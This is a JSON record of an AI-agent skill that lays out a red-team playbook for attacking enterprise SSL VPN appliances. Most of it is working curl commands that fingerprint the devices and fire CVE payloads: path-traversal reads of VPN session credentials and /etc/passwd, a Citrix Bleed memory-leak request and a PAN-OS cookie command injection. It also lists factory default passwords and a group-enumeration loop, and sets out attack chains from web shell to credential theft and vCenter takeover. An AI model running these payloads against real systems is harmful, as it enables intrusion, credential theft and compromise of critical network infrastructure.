{"id":"enterprise-vpn-attack","name":"enterprise-vpn-attack","summary":"外部SSL VPN/リモートアクセスアプライアンス攻撃マトリックス — Cisco ASA/AnyConnect、Fortinet FortiGate/FortiOS、Citrix NetScaler/ADC、Palo Alto GlobalProtect、Pulse Secure / Ivanti Connect…","body":"## When to use this skill\n\nTrigger when recon surfaces:\n- `*.<client>.example/+CSCOE+/logon.html` or similar `+CSCOE+` paths → Cisco ASA / AnyConnect\n- `intranet.*` / `vpn.*` / `connect.*` / `webvpn.*` / `wc.*` / `remote.*` subdomains\n- Port 443 returning login pages with `Server: Apache` or banner like \"AnyConnect\", \"FortiGate\", \"NetScaler\", \"GlobalProtect\", \"Pulse\", \"Ivanti\"\n- TCP 8443 / 4443 / 10443 / 8888 (common VPN web-mgmt ports)\n- HTTP responses with `Set-Cookie: webvpn=` (Cisco) / `SVPNCOOKIE=` (Fortinet) / `NSC_AAA=` (Citrix) / `DSAuthSession=` (Pulse) / `BIGipServer*` (F5)\n\nDO NOT use for:\n- Internal lateral-movement post-foothold (out of scope per user's boundary)\n- VPN client-side bugs (different attack class)\n- IPsec / L2TP / OpenVPN (different protocols, not SSL VPN web stack)\n\n---\n\n## Vendor identification (fingerprinting)\n\n### Cisco ASA / AnyConnect\n```bash\ncurl -skI 'https://target/+CSCOE+/logon.html' | head -10\n# Look for: Set-Cookie: webvpn=; X-Frame-Options: SAMEORIGIN; CSP: ... block-all-mixed-content\n# Login page contains: \"AnyConnect\", \"CSCOE\", \"logon.html\"\n```\nASA version: not banner-disclosed in modern builds; need to derive from JS file paths or test specific paths.\n\n```bash\n# Path-based version hints (older builds leaked builds in URLs)\ncurl -sk 'https://target/+CSCOE+/sdesktop/scan-finalize?path=test'\ncurl -sk 'https://target/+CSCOE+/saml/sp/metadata'         # 200 = SAML auth enabled\ncurl -sk 'https://target/CSCOSSLC/config-auth'             # AnyConnect handshake endpoint\n```\n\n### Fortinet FortiGate / FortiOS\n```bash\ncurl -skI 'https://target/remote/login' | head -10\n# Look for: Set-Cookie: SVPNCOOKIE=, Server header missing or \"xxxxxxxx-xxxxx\"\n# Login page contains: \"FortiGate\", \"Fortinet\", \"SSL-VPN\"\n```\nVersion: `/remote/info` sometimes leaks (older), or `/login?username=` 302 response\n\n### Citrix NetScaler / ADC / Gateway\n```bash\ncurl -skI 'https://target/' | head -10\n# Look for: Set-Cookie: NSC_AAA=, Set-Cookie: NSC_USER=, Server: NetScaler\n# Login page contains: \"NetScaler\", \"Citrix Gateway\"\n\n# Version banner\ncurl -sk 'https://target/vpn/index.html' | grep -oE 'NetScaler/[0-9.]+|NS[0-9.]+'\ncurl -sk 'https://target/menu/neo'                # 200 if vulnerable to CVE-2019-19781 era\n```\n\n### Palo Alto GlobalProtect\n```bash\ncurl -skI 'https://target/global-protect/login.esp' | head -10\n# Look for: Set-Cookie: PHPSESSID= (yes, GP uses PHP), Server: Apache (PA-VM internal)\n# Page contains: \"GlobalProtect Portal\", \"PAN-OS\"\n\n# Version banner via login page\ncurl -sk 'https://target/global-protect/login.esp' | grep -oE 'GlobalProtect Portal[\\s\\S]{0,200}'\n# Or check meta tag\ncurl -sk 'https://target/global-protect/login.esp' | grep -oE 'panui-[0-9.]+'\n```\n\n### Pulse Secure / Ivanti Connect Secure\n```bash\ncurl -skI 'https://target/dana-na/auth/url_default/welcome.cgi' | head -10\n# Look for: Set-Cookie: DSAuthSession=, DSPREAUTH=\n# Page contains: \"Pulse Secure\" or \"Ivanti Connect Secure\"\n\n# Version\ncurl -sk 'https://target/dana-na/auth/url_default/welcome.cgi' | grep -oE 'Pulse Connect Secure[^<]*|ivanti[^<]*[0-9.]+'\n```\n\n### SonicWall NetExtender / SMA\n```bash\ncurl -skI 'https://target/cgi-bin/welcome' | head -10\n# Look for: Set-Cookie: swap=, swapauth=\n# Page contains: \"SonicWall\", \"NetExtender\", \"SMA\"\n```\n\n### F5 Big-IP / APM\n```bash\ncurl -skI 'https://target/my.policy' | head -10\n# Look for: Set-Cookie: BIGipServer*, MRHSession=\n# Server: BIG-IP (sometimes)\n```\n\n---\n\n## CVE matrix — pre-auth or auth-bypass (2018-2026)\n\n### Cisco ASA / AnyConnect\n\n| CVE | Affects | Type | Test |\n|---|---|---|---|\n| **CVE-2018-0296** | ASA pre-9.x specific builds | Path traversal — info disclosure (sessions, config) | `GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua` |\n| **CVE-2020-3452** | ASA, FTD before specific patch levels | Path traversal — file read | `GET /+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua` and variations |\n| **CVE-2023-20269** | ASA, FTD specific | Auth bypass on SSL VPN | Brute-force a group + valid creds combo against `/+webvpn+/index.html` |\n| **CVE-2024-20481** | RAVPN | DoS via crafted handshake | **SKIP in red team — disruptive** |\n\n```bash\n# Cisco CVE-2020-3452 — file read\ncurl -sk 'https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua' | head -5\n\n# Cisco CVE-2018-0296 — path traversal\ncurl -sk 'https://target/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua' | head -20\n\n# Files commonly retrievable on vulnerable ASA:\n# /+CSCOE+/portal_inc.lua    (portal inclusions — may reveal local users)\n# /+CSCOE+/session_password.html\n# /+CSCOE+/files/files.html\n```\n\n### Fortinet FortiGate / FortiOS\n\n| CVE | Affects | Type | Test |\n|---|---|---|---|\n| **CVE-2018-13379** | FortiOS 5.4-6.0 | Path traversal — sslvpn_websession file read | `GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession` |\n| **CVE-2022-42475** | FortiOS 7.x specific | Heap overflow — pre-auth RCE | Complex exploit; test with `nuclei` template `CVE-2022-42475` |\n| **CVE-2023-27997** (XORtigate) | FortiOS various | Heap overflow — pre-auth RCE | Public PoCs exist; nuclei template available |\n| **CVE-2024-21762** | FortiOS 6.x-7.x | OOB write — pre-auth RCE | Public PoC; nuclei template `CVE-2024-21762` |\n| **CVE-2024-55591** | FortiOS 7.0-7.4 | Auth bypass on FortiOS Node.js websocket admin interface | `GET /endpoint` on admin-interface port |\n\n```bash\n# Fortinet CVE-2018-13379 — most reliably-fingerprintable file read\ncurl -sk --path-as-is 'https://target/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'\n# Response contains plaintext usernames + sessions if vulnerable\n\n# Fortinet credential dump format (from CVE-2018-13379 dumps that hit pastebin in 2021):\n# IP:PORT     username     password     (and others)\n```\n\n### Citrix NetScaler / ADC / Gateway\n\n| CVE | Affects | Type | Test |\n|---|---|---|---|\n| **CVE-2019-19781** (Shitrix) | ADC/Gateway 10.5-13.0 specific | Path traversal → RCE via XML upload | `GET /vpn/../vpns/cfg/smb.conf` |\n| **CVE-2022-27518** | ADC/Gateway with SAML configured | Pre-auth RCE | Complex; test with nuclei |\n| **CVE-2023-3519** | NetScaler ADC/Gateway 13.0-13.1 specific | Pre-auth RCE via crafted HTTP | Public PoCs exist |\n| **CVE-2023-4966** (Citrix Bleed) | NetScaler ADC/Gateway 13.0-14.1 | Memory disclosure → session token theft | `POST /oauth/idp/.well-known/openid-configuration` with crafted Host header — long Host header triggers memory leak in response |\n\n```bash\n# Citrix Bleed (CVE-2023-4966) detection\nHOST=$(python3 -c \"print('A' * 24812)\")\ncurl -sk -X POST -H \"Host: $HOST\" \"https://target/oauth/idp/.well-known/openid-configuration\" -o response.txt\n# If response is large (>10KB) and contains random memory contents — vulnerable\n# Session tokens often present in the memory dump\n\n# CVE-2019-19781 file read\ncurl -sk --path-as-is 'https://target/vpn/../vpns/cfg/smb.conf'\n```\n\n### Palo Alto GlobalProtect\n\n| CVE | Affects | Type | Test |\n|---|---|---|---|\n| **CVE-2024-3400** | PAN-OS 10.2-11.1 with GP enabled | Command injection — pre-auth RCE | `POST /ssl-vpn/login.esp` with crafted Cookie header containing `SESSID=../../../var/log/pan/test.txt` |\n\n```bash\n# CVE-2024-3400 detection\ncurl -sk -X POST 'https://target/ssl-vpn/login.esp' \\\n  -H 'Cookie: SESSID=../../../var/log/pan/test_$(id)_test.txt' \\\n  --data 'jsessionid=test'\n# Look for file-creation side-effect on test path — palo creates file with command output\n```\n\n### Pulse Secure / Ivanti Connect Secure / Policy Secure\n\n| CVE | Affects | Type | Test |\n|---|---|---|---|\n| **CVE-2019-11510** | Pulse Connect Secure 8.x-9.x | Arbitrary file read | `GET /dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/` |\n| **CVE-2021-22893** | Pulse Connect Secure 9.x | Pre-auth RCE | Complex multi-step; test with nuclei |\n| **CVE-2024-21887** | Ivanti Connect Secure 9.1-22.6 | Command injection on web component | `POST /api/v1/totp/user-backup-code/` with crafted body |\n| **CVE-2023-46805** | Ivanti Connect Secure 9.1-22.6 | Auth bypass | Combined with 21887 for full chain |\n\n```bash\n# CVE-2019-11510 — Pulse file read\ncurl -sk --path-as-is 'https://target/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/'\n```\n\n### SonicWall\n\n| CVE | Affects | Type | Test |\n|---|---|---|---|\n| **CVE-2021-20016** | SMA 100 series specific firmware | SQL injection — pre-auth | nuclei template available |\n| **CVE-2024-40766** | SonicOS specific | Access-control flaw | Specific firmware versions |\n\n---\n\n## SAML SP / IdP misconfigurations (always check)\n\nMost enterprise VPNs now use SAML for SSO. Check SP metadata:\n\n```bash\n# Cisco ASA\ncurl -sk 'https://target/+CSCOE+/saml/sp/metadata' | head -50\n\n# Fortinet\ncurl -sk 'https://target/remote/saml/metadata' | head -50\n\n# Citrix\ncurl -sk 'https://target/saml/login' | head -30\n```\n\nLook for:\n- `AuthnRequestsSigned=\"false\"` → see `hunt-saml` for XSW exploitation\n- `WantAssertionsSigned=\"false\"` → severe; assertion-replay possible\n- Audience-restriction validation gaps\n- Public SP signing cert (for replay/forging attacks)\n\n---\n\n## Default credentials (test sparingly — lockout risk)\n\n| Vendor | User | Password | Notes |\n|---|---|---|---|\n| Cisco ASA | admin | cisco | Default factory; rarely seen in prod |\n| Cisco ASA | enable_15 | cisco | Console |\n| Fortinet | admin | (empty) | Factory default |\n| Citrix NetScaler | nsroot | nsroot | Factory default |\n| Citrix NetScaler | nsroot | (serial number) | Newer firmware |\n| Palo Alto | admin | admin | Factory default |\n| Pulse Secure | admin | password | Factory; CIS-hardened changes this |\n| F5 Big-IP | root | default | Factory |\n| F5 Big-IP | admin | admin | Common alternate |\n| SonicWall | admin | password | Factory |\n\n⚠ Most enterprise targets have changed these. Test ≤2 attempts per account to avoid lockout.\n\n---\n\n## Group / tunnel-group enumeration (Cisco-specific)\n\nCisco ASA AAA groups can sometimes be enumerated without auth.\n\n```bash\n# Tunnel group enumeration via timing\nfor group in DefaultRAGroup DefaultWEBVPNGroup SSLVPN Employees Contractors Vendors Partners Sales Marketing IT; do\n  ms=$(curl -sk --max-time 10 -o /dev/null -w \"%{time_total}\" \\\n    -X POST \"https://target/+webvpn+/index.html\" \\\n    -d \"username=test&password=test&group_list=$group&tgroup=&Login=Login\")\n  echo \"$group: ${ms}s\"\ndone\n# Larger differential timing = group exists; valid groups respond slower in some builds\n```\n\n---\n\n## AAA backend identification\n\nAfter auth fails, look at error response details:\n\n| Pattern in response | AAA backend |\n|---|---|\n| `a0=2` (Cisco) | Unknown user |\n| `a0=3` (Cisco) | Wrong password |\n| `a0=4` (Cisco) | Login restricted |\n| `a0=12` (Cisco) | Account locked |\n| `a0=115` (Cisco) | Generic auth fail (LDAP/RADIUS/AD layer error) |\n| AADSTS in response body | Backed by Entra (SAML) |\n| `Authentication failed via RADIUS` | RADIUS backend |\n| `Invalid username or password` (generic) | LDAP or local DB |\n\nIf you see SAML/Entra in the flow, pivot to `m365-entra-attack` skill for cred-spray strategy.\n\n---\n\n## Common probe sequence (5-minute fingerprint)\n\n```bash\nTARGET=\"vpn.target.com\"\n\n# Cisco\ncurl -skI \"https://$TARGET/+CSCOE+/logon.html\" 2>&1 | head -3\ncurl -sk \"https://$TARGET/+CSCOE+/saml/sp/metadata\" -o /tmp/cisco_saml.xml; ls -la /tmp/cisco_saml.xml\ncurl -sk --path-as-is \"https://$TARGET/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest\" -o /tmp/cisco_cve.html\n\n# Fortinet\ncurl -skI \"https://$TARGET/remote/login\" 2>&1 | head -3\ncurl -sk --path-as-is \"https://$TARGET/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession\" -o /tmp/forti_cve.txt; head -c 200 /tmp/forti_cve.txt\n\n# Citrix\ncurl -skI \"https://$TARGET/\" 2>&1 | head -3\ncurl -sk --path-as-is \"https://$TARGET/vpn/../vpns/cfg/smb.conf\" -o /tmp/citrix_cve.txt; head -c 200 /tmp/citrix_cve.txt\nHOST=$(python3 -c \"print('A' * 24812)\")\ncurl -sk -X POST -H \"Host: $HOST\" \"https://$TARGET/oauth/idp/.well-known/openid-configuration\" -o /tmp/citrix_bleed.txt\nwc -c /tmp/citrix_bleed.txt\n\n# Palo Alto\ncurl -skI \"https://$TARGET/global-protect/login.esp\" 2>&1 | head -3\n\n# Pulse / Ivanti\ncurl -skI \"https://$TARGET/dana-na/auth/url_default/welcome.cgi\" 2>&1 | head -3\ncurl -sk --path-as-is \"https://$TARGET/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/\" -o /tmp/pulse_cve.txt; head -c 200 /tmp/pulse_cve.txt\n```\n\n---\n\n## Nuclei templates for fast triage\n\nNuclei has high-quality templates for most of the above CVEs. Single command sweeps:\n\n```bash\nnuclei -u https://target/ \\\n  -tags vpn,cisco-asa,fortinet,citrix,palo-alto,pulse-secure,sonicwall,f5 \\\n  -severity high,critical -rl 5\n```\n\nAdd `-as` (auto-scan) for broader vuln coverage but slower.\n\n---\n\n## Operational discipline\n\n- **Banner-stripped servers (no version disclosure)** are good defense-in-depth — record as positive finding even if no CVE found\n- **Rate-limit yourself** — these appliances often log every request to a SIEM. Patient pace, jittered timing.\n- **SAML metadata is anonymous** — pull it. It's intel about AAA backend.\n- **Don't run pre-auth-RCE PoCs in red team without explicit OK** — accidentally bricking a VPN concentrator = catastrophic for the client. Detection-only tests first, then escalate with permission.\n- **Document the AAA backend identification** — knowing whether ASA uses RADIUS-to-local vs SAML-to-Entra changes downstream attack paths.\n\n---\n\n## Bridge to neighboring skills\n\n- `m365-entra-attack` — when AAA backend is Entra SAML; cred-spray strategy carries over\n- `hunt-saml` — XSW / signature-stripping if SAML SP is misconfigured\n- `mid-engagement-ir-detection` — appliances generate noisy logs; watch for IPS rules being deployed mid-engagement\n- `redteam-mindset` — banner-stripped ≠ \"not vulnerable\"; keep digging via behavioral fingerprints\n\n---\n\n## Anti-patterns\n\n- **Don't conclude \"patched\" from a 404 on one CVE path** — patches deploy unevenly; test 3+ CVEs per vendor\n- **Don't trust the version banner alone** — appliance vendors often backport fixes without bumping the version string\n- **Don't run heavy nuclei scans without rate-limiting** — these appliances are critical infrastructure\n- **Don't fingerprint by trying all CVE PoCs immediately** — start with non-disruptive HEAD + version-banner probes\n- **Don't skip SAML metadata** — even when the appliance is patched, SAML SP misconfig is its own attack surface\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-rce`** — Every major VPN appliance (Pulse Secure, Fortinet, Citrix, Ivanti, Palo Alto) has shipped pre-auth path-traversal-to-RCE in the last 24 months. Chain primitive: VPN appliance CVE (e.g., Ivanti ICS CVE-2024-21887, Citrix Bleed CVE-2023-4966, Fortinet CVE-2024-21762) → `hunt-rce` pre-auth path traversal → arbitrary file write into web-root → request the file → web-shell as `root` → VPN config + LDAP bind credentials extracted.\n- **`hunt-saml`** — VPN SAML SP misconfig persists even on fully-patched appliances. Chain primitive: appliance patched against latest CVE but `/saml/metadata` reachable → IdP fingerprinted → `hunt-saml` XSW or comment-injection against IdP → forged assertion → VPN session established without password/MFA.\n- **`vmware-vcenter-attack`** — Post-VPN-foothold the natural next pivot is vCenter. Chain primitive: VPN web-shell → cred extraction from VPN appliance config (LDAP bind, RADIUS shared secret) → reuse against internal vCenter → if scope permits, `vmware-vcenter-attack` → datacenter takeover.\n- **`hunt-ntlm-info`** — Some VPN appliances expose anonymous NTLM on management paths. Chain primitive: VPN admin portal NTLM Type-2 capture → `hunt-ntlm-info` AV_PAIR decode → internal AD forest name → `m365-entra-attack` Entra spray on synced tenant.\n- **`mid-engagement-ir-detection`** + **`redteam-report-template`** — VPN appliance CVE exploitation is high-noise; SOC patches fast. Chain primitive: confirmed CVE → baseline capture via `mid-engagement-ir-detection` → if appliance updates mid-test, capture the patched-state as a SECOND finding → run both findings through `triage-validation` → package via `redteam-report-template` with explicit critical-infrastructure framing.","author":"@elementalsouls","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/enterprise-vpn-attack","license":"MIT","category":"testing","lang":"en","tokens":4836,"stars":0,"calls30d":1,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":[]}}